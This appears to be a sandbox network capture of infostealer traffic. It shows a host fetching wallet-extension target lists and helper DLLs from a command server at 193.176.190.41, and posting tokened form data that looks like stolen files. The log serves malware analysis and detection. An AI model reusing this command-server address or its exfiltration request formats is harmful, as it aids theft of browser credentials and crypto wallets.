tY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Aug 30, 2024 18:12:58.104862928 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Aug 30, 2024 18:12:58.104876041 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Aug 30, 2024 18:12:58.104927063 CEST	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Aug 30, 2024 18:12:58.104942083 CEST	896	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Aug 30, 2024 18:12:58.105232954 CEST	1236	IN	Data Raw: 61 6d 74 68 63 47 5a 69 61 57 68 6b 66 44 46 38 4d 48 77 77 66 46 4e 68 5a 6d 56 51 59 57 78 38 62 47 64 74 63 47 4e 77 5a 32 78 77 62 6d 64 6b 62 32 46 73 59 6d 64 6c 62 32 78 6b 5a 57 46 71 5a 6d 4e 73 62 6d 68 68 5a 6d 46 38 4d 58 77 77 66 44 Data Ascii: amthcGZiaWhkfDF8MHwwfFNhZmVQYWx8bGdtcGNwZ2xwbmdkb2FsYmdlb2xkZWFqZmNsbmhhZmF8MXwwfDB8U3ViV2FsbGV0IC0gUG9sa2Fkb3QgV2FsbGV0fG9uaG9nZmplYWNuZm9vZmtmZ3BwZGxibWxtbnBsZ2JufDF8MHwwfEZsdXZpIFdhbGxldHxtbW1qYmNmb2Zjb25rYW5uam9uZm1qamFqcGxsZGRiZ3wxfDB8MHx
Aug 30, 2024 18:12:58.105246067 CEST	268	IN	Data Raw: 64 48 78 71 61 57 6c 6b 61 57 46 68 62 47 6c 6f 62 57 31 6f 5a 47 52 71 5a 32 4a 75 59 6d 64 6b 5a 6d 5a 73 5a 57 78 76 59 33 42 68 61 33 77 78 66 44 42 38 4d 48 78 55 54 30 34 67 56 32 46 73 62 47 56 30 66 47 35 77 61 48 42 73 63 47 64 76 59 57 Data Ascii: dHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN3YXAgRXh0ZW5zaW9ufG5ucG1mcGxrZm9nZnBtY25ncGxobmJ
Aug 30, 2024 18:12:58.125339031 CEST	469	OUT	POST /2fa883eebd632382.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHIJJJKKJJDAKEBFIJDH Host: 193.176.190.41 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 49 4a 4a 4a 4b 4b 4a 4a 44 41 4b 45 42 46 49 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 33 37 64 31 32 39 32 36 37 30 31 65 62 66 66 34 62 63 31 65 38 65 39 39 36 64 35 61 39 32 31 37 34 36 61 32 39 39 64 39 34 65 35 66 33 33 39 36 33 61 32 61 61 36 33 39 38 33 62 36 66 65 64 66 34 39 35 63 39 33 33 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 4a 4a 4a 4b 4b 4a 4a 44 41 4b 45 42 46 49 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 4a 4a 4a 4b 4b 4a 4a 44 41 4b 45 42 46 49 4a 44 48 2d 2d 0d 0a Data Ascii: ------FHIJJJKKJJDAKEBFIJDHContent-Disposition: form-data; name="token"137d12926701ebff4bc1e8e996d5a921746a299d94e5f33963a2aa63983b6fedf495c933------FHIJJJKKJJDAKEBFIJDHContent-Disposition: form-data; name="message"fplugins------FHIJJJKKJJDAKEBFIJDH--
Aug 30, 2024 18:12:58.302575111 CEST	335	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:12:58 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Aug 30, 2024 18:12:58.514923096 CEST	202	OUT	POST /2fa883eebd632382.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEGCBFHJDHJJKFIDBGIJ Host: 193.176.190.41 Content-Length: 7267 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 18:12:58.514965057 CEST	7267	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 45 47 43 42 46 48 4a 44 48 4a 4a 4b 46 49 44 42 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 33 37 64 31 32 Data Ascii: ------IEGCBFHJDHJJKFIDBGIJContent-Disposition: form-data; name="token"137d12926701ebff4bc1e8e996d5a921746a299d94e5f33963a2aa63983b6fedf495c933------IEGCBFHJDHJJKFIDBGIJContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Aug 30, 2024 18:12:58.745147943 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:12:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 30, 2024 18:12:58.745819092 CEST	93	OUT	GET /9e7fbd3f0393ef32/sqlite3.dll HTTP/1.1 Host: 193.176.190.41 Cache-Control: no-cache
Aug 30, 2024 18:12:58.920182943 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:12:58 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Aug 30, 2024 18:12:58.920207024 CEST	224	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Aug 30, 2024 18:12:58.920216084 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Aug 30, 2024 18:12:59.814699888 CEST	202	OUT	POST /2fa883eebd632382.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHDBGHCBAEGCBFHJEBFI Host: 193.176.190.41 Content-Length: 4599 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 18:13:00.103920937 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:12:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 30, 2024 18:13:00.179212093 CEST	202	OUT	POST /2fa883eebd632382.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJEGDBKFIJDAKFIDGHJE Host: 193.176.190.41 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 18:13:00.511440039 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:13:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 30, 2024 18:13:00.522536993 CEST	564	OUT	POST /2fa883eebd632382.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIIJECAEGDHIDHJKKKKF Host: 193.176.190.41 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 49 4a 45 43 41 45 47 44 48 49 44 48 4a 4b 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 33 37 64 31 32 39 32 36 37 30 31 65 62 66 66 34 62 63 31 65 38 65 39 39 36 64 35 61 39 32 31 37 34 36 61 32 39 39 64 39 34 65 35 66 33 33 39 36 33 61 32 61 61 36 33 39 38 33 62 36 66 65 64 66 34 39 35 63 39 33 33 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 4a 45 43 41 45 47 44 48 49 44 48 4a 4b 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 4a 45 43 41 45 47 44 48 49 44 48 4a 4b 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IIIJECAEGDHIDHJKKKKFContent-Disposition: form-data; name="token"137d12926701ebff4bc1e8e996d5a921746a299d94e5f33963a2aa63983b6fedf495c933------IIIJECAEGDHIDHJKKKKFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IIIJECAEGDHIDHJKKKKFContent-Disposition: form-data; name="file"------IIIJECAEGDHIDHJKKKKF--
Aug 30, 2024 18:13:00.713743925 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:13:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 30, 2024 18:13:01.007648945 CEST	564	OUT	POST /2fa883eebd632382.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAKKKEBFCGDBGDGCFHCB Host: 193.176.190.41 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 33 37 64 31 32 39 32 36 37 30 31 65 62 66 66 34 62 63 31 65 38 65 39 39 36 64 35 61 39 32 31 37 34 36 61 32 39 39 64 39 34 65 35 66 33 33 39 36 33 61 32 61 61 36 33 39 38 33 62 36 66 65 64 66 34 39 35 63 39 33 33 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AAKKKEBFCGDBGDGCFHCBContent-Disposition: form-data; name="token"137d12926701ebff4bc1e8e996d5a921746a299d94e5f33963a2aa63983b6fedf495c933------AAKKKEBFCGDBGDGCFHCBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AAKKKEBFCGDBGDGCFHCBContent-Disposition: form-data; name="file"------AAKKKEBFCGDBGDGCFHCB--
Aug 30, 2024 18:13:01.190079927 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:13:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 30, 2024 18:13:01.322590113 CEST	93	OUT	GET /9e7fbd3f0393ef32/freebl3.dll HTTP/1.1 Host: 193.176.190.41 Cache-Control: no-cache
Aug 30, 2024 18:13:01.497039080 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:13:01 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Aug 30, 2024 18:13:02.265927076 CEST	93	OUT	GET /9e7fbd3f0393ef32/mozglue.dll HTTP/1.1 Host: 193.176.190.41 Cache-Control: no-cache
Aug 30, 2024 18:13:02.441956043 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:13:02 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Aug 30, 2024 18:13:02.843998909 CEST	94	OUT	GET /9e7fbd3f0393ef32/msvcp140.dll HTTP/1.1 Host: 193.176.190.41 Cache-Control: no-cache
Aug 30, 2024 18:13:03.018565893 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:13:02 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Aug 30, 2024 18:13:03.379266977 CEST	90	OUT	GET /9e7fbd3f0393ef32/nss3.dll HTTP/1.1 Host: 193.176.190.41 Cache-Control: no-cache
Aug 30, 2024 18:13:03.553463936 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:13:03 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Aug 30, 2024 18:13:05.278978109 CEST	94	OUT	GET /9e7fbd3f0393ef32/softokn3.dll HTTP/1.1 Host: 193.176.190.41 Cache-Control: no-cache
Aug 30, 2024 18:13:05.464628935 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:13:05 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 